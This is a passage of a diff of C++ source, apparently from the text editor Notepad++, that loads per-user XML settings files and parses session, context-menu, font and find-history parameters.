//---------------------------------// + // toolbarIcons.xml : for per user // + //---------------------------------// + generic_string toolbarIconsPath(_userPath); + PathAppend(toolbarIconsPath, TEXT("toolbarIcons.xml")); + + _pXmlToolIconsDoc = new TiXmlDocument(toolbarIconsPath); + loadOkay = _pXmlToolIconsDoc->LoadFile(); + if (!loadOkay) + { + delete _pXmlToolIconsDoc; + _pXmlToolIconsDoc = nullptr; + isAllLaoded = false; + } + + //------------------------------// + // shortcuts.xml : for per user // + //------------------------------// + _shortcutsPath = _userPath; + PathAppend(_shortcutsPath, TEXT("shortcuts.xml")); + + if (!PathFileExists(_shortcutsPath.c_str())) + { + generic_string srcShortcutsPath(_nppPath); + PathAppend(srcShortcutsPath, TEXT("shortcuts.xml")); + + ::CopyFile(srcShortcutsPath.c_str(), _shortcutsPath.c_str(), TRUE); + } + + _pXmlShortcutDoc = new TiXmlDocument(_shortcutsPath); + loadOkay = _pXmlShortcutDoc->LoadFile(); + if (!loadOkay) + { + delete _pXmlShortcutDoc; + _pXmlShortcutDoc = nullptr; + isAllLaoded = false; + } + else + { + getShortcutsFromXmlTree(); + getMacrosFromXmlTree(); + getUserCmdsFromXmlTree(); + + // fill out _scintillaModifiedKeys : + // those user defined Scintilla key will be used remap Scintilla Key Array + getScintKeysFromXmlTree(); + } + + //---------------------------------// + // contextMenu.xml : for per user // + //---------------------------------// + _contextMenuPath = _userPath; + PathAppend(_contextMenuPath, TEXT("contextMenu.xml")); + + if (!PathFileExists(_contextMenuPath.c_str())) + { + generic_string srcContextMenuPath(_nppPath); + PathAppend(srcContextMenuPath, TEXT("contextMenu.xml")); + + ::CopyFile(srcContextMenuPath.c_str(), _contextMenuPath.c_str(), TRUE); + } + + _pXmlContextMenuDocA = new TiXmlDocumentA(); + loadOkay = _pXmlContextMenuDocA->LoadUnicodeFilePath(_contextMenuPath.c_str()); + if (!loadOkay) + { + delete _pXmlContextMenuDocA; + _pXmlContextMenuDocA = nullptr; + isAllLaoded = false; + } + + //----------------------------// + // session.xml : for per user // + //----------------------------// + + PathAppend(_sessionPath, TEXT("session.xml")); + + // Don't load session.xml if not required in order to speed up!! + const NppGUI & nppGUI = (NppParameters::getInstance())->getNppGUI(); + if (nppGUI._rememberLastSession) + { + _pXmlSessionDoc = new TiXmlDocument(_sessionPath); + + loadOkay = _pXmlSessionDoc->LoadFile(); + if (!loadOkay) + isAllLaoded = false; + else + getSessionFromXmlTree(); + + delete _pXmlSessionDoc; + for (size_t i = 0, len = _pXmlExternalLexerDoc.size() ; i < len ; ++i) + if (_pXmlExternalLexerDoc[i]) + delete _pXmlExternalLexerDoc[i]; + + _pXmlSessionDoc = nullptr; + } + + //------------------------------// + // blacklist.xml : for per user // + //------------------------------// + _blacklistPath = _userPath; + PathAppend(_blacklistPath, TEXT("blacklist.xml")); + + if (PathFileExists(_blacklistPath.c_str())) + { + _pXmlBlacklistDoc = new TiXmlDocument(_blacklistPath); + loadOkay = _pXmlBlacklistDoc->LoadFile(); + if (loadOkay) + getBlackListFromXmlTree(); + } + return isAllLaoded; +} + + +void NppParameters::destroyInstance() +{ + delete _pXmlDoc; + delete _pXmlUserDoc; + delete _pXmlUserStylerDoc; + delete _pXmlUserLangDoc; + + for (int i = 0 ; i < _nbImportedULD ; ++i) + { + delete _importedULD[i]; + _importedULD[i] = nullptr; + } + _nbImportedULD = 0; + + delete _pXmlNativeLangDocA; + delete _pXmlToolIconsDoc; + delete _pXmlShortcutDoc; + delete _pXmlContextMenuDocA; + delete _pXmlSessionDoc; + delete _pXmlBlacklistDoc; + delete _pSelf; + _pSelf = nullptr; +} + + +void NppParameters::saveConfig_xml() +{ + if (_pXmlUserDoc) + _pXmlUserDoc->SaveFile(); +} + + +void NppParameters::setWorkSpaceFilePath(int i, const TCHAR* wsFile) +{ + if (i < 0 || i > 2 || !wsFile) + return; + _workSpaceFilePathes[i] = wsFile; +} + + +void NppParameters::removeTransparent(HWND hwnd) +{ + if (hwnd != NULL) + ::SetWindowLongPtr(hwnd, GWL_EXSTYLE, ::GetWindowLongPtr(hwnd, GWL_EXSTYLE) & ~0x00080000); +} + + +void NppParameters::SetTransparent(HWND hwnd, int percent) +{ + if (nullptr != _transparentFuncAddr) + { + ::SetWindowLongPtr(hwnd, GWL_EXSTYLE, ::GetWindowLongPtr(hwnd, GWL_EXSTYLE) | 0x00080000); + if (percent > 255) + percent = 255; + if (percent < 0) + percent = 0; + _transparentFuncAddr(hwnd, 0, percent, 0x00000002); + } +} + + +bool NppParameters::isExistingExternalLangName(const TCHAR *newName) const +{ + if ((!newName) || (!newName[0])) + return true; + + for (int i = 0 ; i < _nbExternalLang ; ++i) + { + if (!lstrcmp(_externalLangArray[i]->_name, newName)) + return true; + } + return false; +} + + +const TCHAR* NppParameters::getUserDefinedLangNameFromExt(TCHAR *ext, TCHAR *fullName) const +{ + if ((!ext) || (!ext[0])) + return nullptr; + + std::vector extVect; + for (int i = 0 ; i < _nbUserLang ; ++i) + { + extVect.clear(); + cutString(_userLangArray[i]->_ext.c_str(), extVect); + + for (size_t j = 0, len = extVect.size(); j < len; ++j) + { + if (!generic_stricmp(extVect[j].c_str(), ext) || (_tcschr(fullName, '.') && !generic_stricmp(extVect[j].c_str(), fullName))) + return _userLangArray[i]->_name.c_str(); + } + } + return nullptr; +} + + +int NppParameters::getExternalLangIndexFromName(const TCHAR* externalLangName) const +{ + for (int i = 0 ; i < _nbExternalLang ; ++i) + { + if (!lstrcmp(externalLangName, _externalLangArray[i]->_name)) + return i; + } + return -1; +} + + +UserLangContainer* NppParameters::getULCFromName(const TCHAR *userLangName) +{ + for (int i = 0 ; i < _nbUserLang ; ++i) + { + if (0 == lstrcmp(userLangName, _userLangArray[i]->_name.c_str())) + return _userLangArray[i]; + } + + //qui doit etre jamais passer + return nullptr; +} + + +COLORREF NppParameters::getCurLineHilitingColour() +{ + int i = _widgetStyleArray.getStylerIndexByName(TEXT("Current line background colour")); + if (i == -1) + return i; + Style & style = _widgetStyleArray.getStyler(i); + return style._bgColor; +} + + +void NppParameters::setCurLineHilitingColour(COLORREF colour2Set) +{ + int i = _widgetStyleArray.getStylerIndexByName(TEXT("Current line background colour")); + if (i == -1) + return; + + Style& style = _widgetStyleArray.getStyler(i); + style._bgColor = colour2Set; +} + + + +static int CALLBACK EnumFontFamExProc(const LOGFONT* lpelfe, const TEXTMETRIC*, DWORD, LPARAM lParam) +{ + std::vector& strVect = *(std::vector *)lParam; + const int32_t vectSize = static_cast(strVect.size()); + const TCHAR* lfFaceName = ((ENUMLOGFONTEX*)lpelfe)->elfLogFont.lfFaceName; + + //Search through all the fonts, EnumFontFamiliesEx never states anything about order + //Start at the end though, that's the most likely place to find a duplicate + for (int i = vectSize - 1 ; i >= 0 ; i--) + { + if (0 == lstrcmp(strVect[i].c_str(), lfFaceName)) + return 1; //we already have seen this typeface, ignore it + } + + //We can add the font + //Add the face name and not the full name, we do not care about any styles + strVect.push_back(lfFaceName); + return 1; // I want to get all fonts +} + + +void NppParameters::setFontList(HWND hWnd) +{ + //---------------// + // Sys font list // + //---------------// + LOGFONT lf; + _fontlist.clear(); + _fontlist.reserve(64); // arbitrary + _fontlist.push_back(generic_string()); + + lf.lfCharSet = DEFAULT_CHARSET; + lf.lfFaceName[0]='\0'; + lf.lfPitchAndFamily = 0; + HDC hDC = ::GetDC(hWnd); + ::EnumFontFamiliesEx(hDC, &lf, EnumFontFamExProc, reinterpret_cast(&_fontlist), 0); +} + +bool NppParameters::isInFontList(const generic_string fontName2Search) const +{ + if (fontName2Search.empty()) + return false; + + for (size_t i = 0, len = _fontlist.size(); i < len; i++) + { + if (_fontlist[i] == fontName2Search) + return true; + } + return false; +} + +void NppParameters::getLangKeywordsFromXmlTree() +{ + TiXmlNode *root = + _pXmlDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) return; + feedKeyWordsParameters(root); +} + + +void NppParameters::getExternalLexerFromXmlTree(TiXmlDocument *doc) +{ + TiXmlNode *root = doc->FirstChild(TEXT("NotepadPlus")); + if (!root) return; + feedKeyWordsParameters(root); + feedStylerArray(root); +} + + +int NppParameters::addExternalLangToEnd(ExternalLangContainer * externalLang) +{ + _externalLangArray[_nbExternalLang] = externalLang; + ++_nbExternalLang; + ++L_END; + return _nbExternalLang-1; +} + + +bool NppParameters::getUserStylersFromXmlTree() +{ + TiXmlNode *root = _pXmlUserStylerDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) return false; + return feedStylerArray(root); +} + + +bool NppParameters::getUserParametersFromXmlTree() +{ + if (!_pXmlUserDoc) + return false; + + TiXmlNode *root = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not root) + return false; + + // Get GUI parameters + feedGUIParameters(root); + + // Get History parameters + feedFileListParameters(root); + + // Erase the History root + TiXmlNode *node = root->FirstChildElement(TEXT("History")); + root->RemoveChild(node); + + // Add a new empty History root + TiXmlElement HistoryNode(TEXT("History")); + root->InsertEndChild(HistoryNode); + + //Get Find history parameters + feedFindHistoryParameters(root); + + //Get Project Panel parameters + feedProjectPanelsParameters(root); + + //Get File browser parameters + feedFileBrowserParameters(root); + + return true; +} + + +bool NppParameters::getUserDefineLangsFromXmlTree(TiXmlDocument *tixmldoc) +{ + if (!tixmldoc) + return false; + + TiXmlNode *root = tixmldoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + return feedUserLang(root); +} + + + +bool NppParameters::getShortcutsFromXmlTree() +{ + if (!_pXmlShortcutDoc) + return false; + + TiXmlNode *root = _pXmlShortcutDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + feedShortcut(root); + return true; +} + + +bool NppParameters::getMacrosFromXmlTree() +{ + if (!_pXmlShortcutDoc) + return false; + + TiXmlNode *root = _pXmlShortcutDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + feedMacros(root); + return true; +} + + +bool NppParameters::getUserCmdsFromXmlTree() +{ + if (!_pXmlShortcutDoc) + return false; + + TiXmlNode *root = _pXmlShortcutDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + feedUserCmds(root); + return true; +} + + +bool NppParameters::getPluginCmdsFromXmlTree() +{ + if (!_pXmlShortcutDoc) + return false; + + TiXmlNode *root = _pXmlShortcutDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + feedPluginCustomizedCmds(root); + return true; +} + + +bool NppParameters::getScintKeysFromXmlTree() +{ + if (!_pXmlShortcutDoc) + return false; + + TiXmlNode *root = _pXmlShortcutDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + feedScintKeys(root); + return true; +} + +bool NppParameters::getBlackListFromXmlTree() +{ + if (!_pXmlBlacklistDoc) + return false; + + TiXmlNode *root = _pXmlBlacklistDoc->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + return feedBlacklist(root); +} + +void NppParameters::initMenuKeys() +{ + int nbCommands = sizeof(winKeyDefs)/sizeof(WinMenuKeyDefinition); + WinMenuKeyDefinition wkd; + for(int i = 0; i < nbCommands; ++i) + { + wkd = winKeyDefs[i]; + Shortcut sc((wkd.specialName ? wkd.specialName : TEXT("")), wkd.isCtrl, wkd.isAlt, wkd.isShift, static_cast(wkd.vKey)); + _shortcuts.push_back( CommandShortcut(sc, wkd.functionId) ); + } +} + +void NppParameters::initScintillaKeys() { + + int nbCommands = sizeof(scintKeyDefs)/sizeof(ScintillaKeyDefinition); + + //Warning! Matching function have to be consecutive + ScintillaKeyDefinition skd; + int prevIndex = -1; + int prevID = -1; + for(int i = 0; i < nbCommands; ++i) + { + skd = scintKeyDefs[i]; + if (skd.functionId == prevID) + { + KeyCombo kc; + kc._isCtrl = skd.isCtrl; + kc._isAlt = skd.isAlt; + kc._isShift = skd.isShift; + kc._key = static_cast(skd.vKey); + _scintillaKeyCommands[prevIndex].addKeyCombo(kc); + } + else + { + Shortcut s = Shortcut(skd.name, skd.isCtrl, skd.isAlt, skd.isShift, static_cast(skd.vKey)); + ScintillaKeyMap sm = ScintillaKeyMap(s, skd.functionId, skd.redirFunctionId); + _scintillaKeyCommands.push_back(sm); + ++prevIndex; + } + prevID = skd.functionId; + } +} +bool NppParameters::reloadContextMenuFromXmlTree(HMENU mainMenuHadle, HMENU pluginsMenu) +{ + _contextMenuItems.clear(); + return getContextMenuFromXmlTree(mainMenuHadle, pluginsMenu); +} + +int NppParameters::getCmdIdFromMenuEntryItemName(HMENU mainMenuHadle, generic_string menuEntryName, generic_string menuItemName) +{ + int nbMenuEntry = ::GetMenuItemCount(mainMenuHadle); + for (int i = 0; i < nbMenuEntry; ++i) + { + TCHAR menuEntryString[64]; + ::GetMenuString(mainMenuHadle, i, menuEntryString, 64, MF_BYPOSITION); + if (generic_stricmp(menuEntryName.c_str(), purgeMenuItemString(menuEntryString).c_str()) == 0) + { + vector< pair > parentMenuPos; + HMENU topMenu = ::GetSubMenu(mainMenuHadle, i); + int maxTopMenuPos = ::GetMenuItemCount(topMenu); + HMENU currMenu = topMenu; + int currMaxMenuPos = maxTopMenuPos; + + int currMenuPos = 0; + bool notFound = false; + + do { + if (::GetSubMenu(currMenu, currMenuPos)) + { + // Go into sub menu + parentMenuPos.push_back(::make_pair(currMenu, currMenuPos)); + currMenu = ::GetSubMenu(currMenu, currMenuPos); + currMenuPos = 0; + currMaxMenuPos = ::GetMenuItemCount(currMenu); + } + else + { + // Check current menu position. + TCHAR cmdStr[256]; + ::GetMenuString(currMenu, currMenuPos, cmdStr, 256, MF_BYPOSITION); + if (generic_stricmp(menuItemName.c_str(), purgeMenuItemString(cmdStr).c_str()) == 0) + { + return ::GetMenuItemID(currMenu, currMenuPos); + } + + if ((currMenuPos >= currMaxMenuPos) && (parentMenuPos.size() > 0)) + { + currMenu = parentMenuPos.back().first; + currMenuPos = parentMenuPos.back().second; + parentMenuPos.pop_back(); + currMaxMenuPos = ::GetMenuItemCount(currMenu); + } + + if ((currMenu == topMenu) && (currMenuPos >= maxTopMenuPos)) + { + notFound = true; + } + else + { + ++currMenuPos; + } + } + } while (!notFound); + } + } + return -1; +} + +int NppParameters::getPluginCmdIdFromMenuEntryItemName(HMENU pluginsMenu, generic_string pluginName, generic_string pluginCmdName) +{ + int nbPlugins = ::GetMenuItemCount(pluginsMenu); + for (int i = 0; i < nbPlugins; ++i) + { + TCHAR menuItemString[256]; + ::GetMenuString(pluginsMenu, i, menuItemString, 256, MF_BYPOSITION); + if (generic_stricmp(pluginName.c_str(), purgeMenuItemString(menuItemString).c_str()) == 0) + { + HMENU pluginMenu = ::GetSubMenu(pluginsMenu, i); + int nbPluginCmd = ::GetMenuItemCount(pluginMenu); + for (int j = 0; j < nbPluginCmd; ++j) + { + TCHAR pluginCmdStr[256]; + ::GetMenuString(pluginMenu, j, pluginCmdStr, 256, MF_BYPOSITION); + if (generic_stricmp(pluginCmdName.c_str(), purgeMenuItemString(pluginCmdStr).c_str()) == 0) + { + return ::GetMenuItemID(pluginMenu, j); + } + } + } + } + return -1; +} + +bool NppParameters::getContextMenuFromXmlTree(HMENU mainMenuHadle, HMENU pluginsMenu) +{ + if (!_pXmlContextMenuDocA) + return false; + TiXmlNodeA *root = _pXmlContextMenuDocA->FirstChild("NotepadPlus"); + if (!root) + return false; + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + + TiXmlNodeA *contextMenuRoot = root->FirstChildElement("ScintillaContextMenu"); + if (contextMenuRoot) + { + for (TiXmlNodeA *childNode = contextMenuRoot->FirstChildElement("Item"); + childNode ; + childNode = childNode->NextSibling("Item") ) + { + const char *folderNameA = (childNode->ToElement())->Attribute("FolderName"); + const char *displayAsA = (childNode->ToElement())->Attribute("ItemNameAs"); + + generic_string folderName; + generic_string displayAs; + folderName = folderNameA?wmc->char2wchar(folderNameA, SC_CP_UTF8):TEXT(""); + displayAs = displayAsA?wmc->char2wchar(displayAsA, SC_CP_UTF8):TEXT(""); + + int id; + const char *idStr = (childNode->ToElement())->Attribute("id", &id); + if (idStr) + { + _contextMenuItems.push_back(MenuItemUnit(id, displayAs.c_str(), folderName.c_str())); + } + else + { + const char *menuEntryNameA = (childNode->ToElement())->Attribute("MenuEntryName"); + const char *menuItemNameA = (childNode->ToElement())->Attribute("MenuItemName"); + + generic_string menuEntryName; + generic_string menuItemName; + menuEntryName = menuEntryNameA?wmc->char2wchar(menuEntryNameA, SC_CP_UTF8):TEXT(""); + menuItemName = menuItemNameA?wmc->char2wchar(menuItemNameA, SC_CP_UTF8):TEXT(""); + + if (not menuEntryName.empty() and not menuItemName.empty()) + { + int cmd = getCmdIdFromMenuEntryItemName(mainMenuHadle, menuEntryName, menuItemName); + if (cmd != -1) + _contextMenuItems.push_back(MenuItemUnit(cmd, displayAs.c_str(), folderName.c_str())); + } + else + { + const char *pluginNameA = (childNode->ToElement())->Attribute("PluginEntryName"); + const char *pluginCmdNameA = (childNode->ToElement())->Attribute("PluginCommandItemName"); + + generic_string pluginName; + generic_string pluginCmdName; + pluginName = pluginNameA?wmc->char2wchar(pluginNameA, SC_CP_UTF8):TEXT(""); + pluginCmdName = pluginCmdNameA?wmc->char2wchar(pluginCmdNameA, SC_CP_UTF8):TEXT(""); + + // if plugin menu existing plls the value of PluginEntryName and PluginCommandItemName are valid + if (pluginsMenu && not pluginName.empty() && not pluginCmdName.empty()) + { + int pluginCmdId = getPluginCmdIdFromMenuEntryItemName(pluginsMenu, pluginName, pluginCmdName); + if (pluginCmdId != -1) + _contextMenuItems.push_back(MenuItemUnit(pluginCmdId, displayAs.c_str(), folderName.c_str())); + } + } + } + } + } + return true; +} + + +void NppParameters::setWorkingDir(const TCHAR * newPath) +{ + if (newPath && newPath[0]) + { + _currentDirectory = newPath; + } + else + { + if (PathFileExists(_nppGUI._defaultDirExp)) + _currentDirectory = _nppGUI._defaultDirExp; + else + _currentDirectory = _nppPath.c_str(); + } +} + + +bool NppParameters::loadSession(Session & session, const TCHAR *sessionFileName) +{ + TiXmlDocument *pXmlSessionDocument = new TiXmlDocument(sessionFileName); + bool loadOkay = pXmlSessionDocument->LoadFile(); + if (loadOkay) + loadOkay = getSessionFromXmlTree(pXmlSessionDocument, &session); + + delete pXmlSessionDocument; + return loadOkay; +} + + +bool NppParameters::getSessionFromXmlTree(TiXmlDocument *pSessionDoc, Session *pSession) +{ + if ((pSessionDoc) && (!pSession)) + return false; + + TiXmlDocument **ppSessionDoc = &_pXmlSessionDoc; + Session *ptrSession = &_session; + + if (pSessionDoc) + { + ppSessionDoc = &pSessionDoc; + ptrSession = pSession; + } + + if (!*ppSessionDoc) + return false; + + TiXmlNode *root = (*ppSessionDoc)->FirstChild(TEXT("NotepadPlus")); + if (!root) + return false; + + TiXmlNode *sessionRoot = root->FirstChildElement(TEXT("Session")); + if (!sessionRoot) + return false; + + TiXmlElement *actView = sessionRoot->ToElement(); + size_t index; + const TCHAR *str = actView->Attribute(TEXT("activeView"), reinterpret_cast(&index)); + if (str) + { + (*ptrSession)._activeView = index; + } + + const size_t nbView = 2; + TiXmlNode *viewRoots[nbView]; + viewRoots[0] = sessionRoot->FirstChildElement(TEXT("mainView")); + viewRoots[1] = sessionRoot->FirstChildElement(TEXT("subView")); + for (size_t k = 0; k < nbView; ++k) + { + if (viewRoots[k]) + { + size_t index2; + TiXmlElement *actIndex = viewRoots[k]->ToElement(); + str = actIndex->Attribute(TEXT("activeIndex"), reinterpret_cast(&index2)); + if (str) + { + if (k == 0) + (*ptrSession)._activeMainIndex = index2; + else // k == 1 + (*ptrSession)._activeSubIndex = index2; + } + for (TiXmlNode *childNode = viewRoots[k]->FirstChildElement(TEXT("File")); + childNode ; + childNode = childNode->NextSibling(TEXT("File")) ) + { + const TCHAR *fileName = (childNode->ToElement())->Attribute(TEXT("filename")); + if (fileName) + { + Position position; + (childNode->ToElement())->Attribute(TEXT("firstVisibleLine"), &position._firstVisibleLine); + (childNode->ToElement())->Attribute(TEXT("xOffset"), &position._xOffset); + (childNode->ToElement())->Attribute(TEXT("startPos"), &position._startPos); + (childNode->ToElement())->Attribute(TEXT("endPos"), &position._endPos); + (childNode->ToElement())->Attribute(TEXT("selMode"), &position._selMode); + (childNode->ToElement())->Attribute(TEXT("scrollWidth"), &position._scrollWidth); + + MapPosition mapPosition; + int32_t mapPosVal; + const TCHAR *mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapFirstVisibleDisplayLine"), &mapPosVal); + if (mapPosStr) + mapPosition._firstVisibleDisplayLine = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapFirstVisibleDocLine"), &mapPosVal); + if (mapPosStr) + mapPosition._firstVisibleDocLine = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapLastVisibleDocLine"), &mapPosVal); + if (mapPosStr) + mapPosition._lastVisibleDocLine = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapNbLine"), &mapPosVal); + if (mapPosStr) + mapPosition._nbLine = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapHigherPos"), &mapPosVal); + if (mapPosStr) + mapPosition._higherPos = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapWidth"), &mapPosVal); + if (mapPosStr) + mapPosition._width = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapHeight"), &mapPosVal); + if (mapPosStr) + mapPosition._height = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapKByteInDoc"), &mapPosVal); + if (mapPosStr) + mapPosition._KByteInDoc = mapPosVal; + mapPosStr = (childNode->ToElement())->Attribute(TEXT("mapWrapIndentMode"), &mapPosVal); + if (mapPosStr) + mapPosition._wrapIndentMode = mapPosVal; + const TCHAR *boolStr = (childNode->ToElement())->Attribute(TEXT("mapIsWrap")); + if (boolStr) + mapPosition._isWrap = (lstrcmp(TEXT("yes"), boolStr) == 0); + + const TCHAR *langName; + langName = (childNode->ToElement())->Attribute(TEXT("lang")); + int encoding = -1; + const TCHAR *encStr = (childNode->ToElement())->Attribute(TEXT("encoding"), &encoding); + const TCHAR *backupFilePath = (childNode->ToElement())->Attribute(TEXT("backupFilePath")); + + int fileModifiedTimestamp = 0; + (childNode->ToElement())->Attribute(TEXT("originalFileLastModifTimestamp"), &fileModifiedTimestamp); + + sessionFileInfo sfi(fileName, langName, encStr?encoding:-1, position, backupFilePath, fileModifiedTimestamp, mapPosition); + + for (TiXmlNode *markNode = childNode->FirstChildElement(TEXT("Mark")); + markNode ; + markNode = markNode->NextSibling(TEXT("Mark"))) + { + int lineNumber; + const TCHAR *lineNumberStr = (markNode->ToElement())->Attribute(TEXT("line"), &lineNumber); + if (lineNumberStr) + { + sfi._marks.push_back(lineNumber); + } + } + + for (TiXmlNode *foldNode = childNode->FirstChildElement(TEXT("Fold")); + foldNode ; + foldNode = foldNode->NextSibling(TEXT("Fold"))) + { + int lineNumber; + const TCHAR *lineNumberStr = (foldNode->ToElement())->Attribute(TEXT("line"), &lineNumber); + if (lineNumberStr) + { + sfi._foldStates.push_back(lineNumber); + } + } + if (k == 0) + (*ptrSession)._mainViewFiles.push_back(sfi); + else // k == 1 + (*ptrSession)._subViewFiles.push_back(sfi); + } + } + } + } + + return true; +} + +void NppParameters::feedFileListParameters(TiXmlNode *node) +{ + TiXmlNode *historyRoot = node->FirstChildElement(TEXT("History")); + if (!historyRoot) return; + + // nbMaxFile value + int nbMaxFile; + const TCHAR *strVal = (historyRoot->ToElement())->Attribute(TEXT("nbMaxFile"), &nbMaxFile); + if (strVal && (nbMaxFile >= 0) && (nbMaxFile <= 50)) + _nbMaxRecentFile = nbMaxFile; + + // customLen value + int customLen; + strVal = (historyRoot->ToElement())->Attribute(TEXT("customLength"), &customLen); + if (strVal) + _recentFileCustomLength = customLen; + + // inSubMenu value + strVal = (historyRoot->ToElement())->Attribute(TEXT("inSubMenu")); + if (strVal) + _putRecentFileInSubMenu = (lstrcmp(strVal, TEXT("yes")) == 0); + + for (TiXmlNode *childNode = historyRoot->FirstChildElement(TEXT("File")); + childNode && (_nbRecentFile < NB_MAX_LRF_FILE); + childNode = childNode->NextSibling(TEXT("File")) ) + { + const TCHAR *filePath = (childNode->ToElement())->Attribute(TEXT("filename")); + if (filePath) + { + _LRFileList[_nbRecentFile] = new generic_string(filePath); + ++_nbRecentFile; + } + } +} + +void NppParameters::feedProjectPanelsParameters(TiXmlNode *node) +{ + TiXmlNode *fileBrowserRoot = node->FirstChildElement(TEXT("FileBrowser")); + if (!fileBrowserRoot) return; + + for (TiXmlNode *childNode = fileBrowserRoot->FirstChildElement(TEXT("root")); + childNode; + childNode = childNode->NextSibling(TEXT("root")) ) + { + const TCHAR *filePath = (childNode->ToElement())->Attribute(TEXT("foldername")); + if (filePath) + { + _fileBrowserRoot.push_back(filePath); + } + } +} + +void NppParameters::feedFileBrowserParameters(TiXmlNode *node) +{ + TiXmlNode *projPanelRoot = node->FirstChildElement(TEXT("ProjectPanels")); + if (!projPanelRoot) return; + + for (TiXmlNode *childNode = projPanelRoot->FirstChildElement(TEXT("ProjectPanel")); + childNode; + childNode = childNode->NextSibling(TEXT("ProjectPanel")) ) + { + int index = 0; + const TCHAR *idStr = (childNode->ToElement())->Attribute(TEXT("id"), &index); + if (idStr && (index >= 0 && index <= 2)) + { + const TCHAR *filePath = (childNode->ToElement())->Attribute(TEXT("workSpaceFile")); + if (filePath) + { + _workSpaceFilePathes[index] = filePath; + } + } + } +} + +void NppParameters::feedFindHistoryParameters(TiXmlNode *node) +{ + TiXmlNode *findHistoryRoot = node->FirstChildElement(TEXT("FindHistory")); + if (!findHistoryRoot) return; + + (findHistoryRoot->ToElement())->Attribute(TEXT("nbMaxFindHistoryPath"), &_findHistory._nbMaxFindHistoryPath); + if ((_findHistory._nbMaxFindHistoryPath > 0) && (_findHistory._nbMaxFindHistoryPath <= NB_MAX_FINDHISTORY_PATH)) + { + for (TiXmlNode *childNode = findHistoryRoot->FirstChildElement(TEXT("Path")); + childNode && (_findHistory._findHistoryPaths.size() < NB_MAX_FINDHISTORY_PATH); + childNode = childNode->NextSibling(TEXT("Path")) ) + { + const TCHAR *filePath = (childNode->ToElement())->Attribute(TEXT("name")); + if (filePath) + { + _findHistory._findHistoryPaths.push_back(generic_string(filePath)); + } + } + } + + (findHistoryRoot->ToElement())->Attribute(TEXT("nbMaxFindHistoryFilter"), &_findHistory._nbMaxFindHistoryFilter); + if ((_findHistory._nbMaxFindHistoryFilter > 0) && (_findHistory._nbMaxFindHistoryFilter <= NB_MAX_FINDHISTORY_FILTER)) + { + for (TiXmlNode *childNode = findHistoryRoot->FirstChildElement(TEXT("Filter")); + childNode && (_findHistory._findHistoryFilters.size() < NB_MAX_FINDHISTORY_FILTER); + childNode = childNode->NextSibling(TEXT("Filter"))) + { + const TCHAR *fileFilter = (childNode->ToElement())->Attribute(TEXT("name")); + if (fileFilter) + { + _findHistory._findHistoryFilters.push_back(generic_string(fileFilter)); + } + } + } + + (findHistoryRoot->ToElement())->Attribute(TEXT("nbMaxFindHistoryFind"), &_findHistory._nbMaxFindHistoryFind); + if ((_findHistory._nbMaxFindHistoryFind > 0) && (_findHistory._nbMaxFindHistoryFind <= NB_MAX_FINDHISTORY_FIND)) + { + for (TiXmlNode *childNode = findHistoryRoot->FirstChildElement(TEXT("Find")); + childNode && (_findHistory._findHistoryFinds.size() < NB_MAX_FINDHISTORY_FIND); + childNode = childNode->NextSibling(TEXT("Find"))) + { + const TCHAR *fileFind = (childNode->ToElement())->Attribute(TEXT("name")); + if (fileFind) + { + _findHistory._findHistoryFinds.push_back(generic_string(fileFind)); + } + } + } + + (findHistoryRoot->ToElement())->Attribute(TEXT("nbMaxFindHistoryReplace"), &_findHistory._nbMaxFindHistoryReplace); + if ((_findHistory._nbMaxFindHistoryReplace > 0) && (_findHistory._nbMaxFindHistoryReplace <= NB_MAX_FINDHISTORY_REPLACE)) + { + for (TiXmlNode *childNode = findHistoryRoot->FirstChildElement(TEXT("Replace")); + childNode && (_findHistory._findHistoryReplaces.size() < NB_MAX_FINDHISTORY_REPLACE); + childNode = childNode->NextSibling(TEXT("Replace"))) + { + const TCHAR *fileReplace = (childNode->ToElement())->Attribute(TEXT("name")); + if (fileReplace) + { + _findHistory._findHistoryReplaces.push_back(generic_string(fileReplace)); + } + } + } + + const TCHAR *boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("matchWord")); + if (boolStr) + _findHistory._isMatchWord = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("matchCase")); + if (boolStr) + _findHistory._isMatchCase = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("wrap")); + if (boolStr) + _findHistory._isWrap = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("directionDown")); + if (boolStr) + _findHistory._isDirectionDown = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("fifRecuisive")); + if (boolStr) + _findHistory._isFifRecuisive = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("fifInHiddenFolder")); + if (boolStr) + _findHistory._isFifInHiddenFolder = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("dlgAlwaysVisible")); + if (boolStr) + _findHistory._isDlgAlwaysVisible = (lstrcmp(TEXT("yes"), boolStr) == 0); + + boolStr = (findHistoryRoot->ToElement())->Attribute(TEXT("fifFilterFollowsDoc")); + if (boolStr) + _findHistory._isFilterFollowDoc = 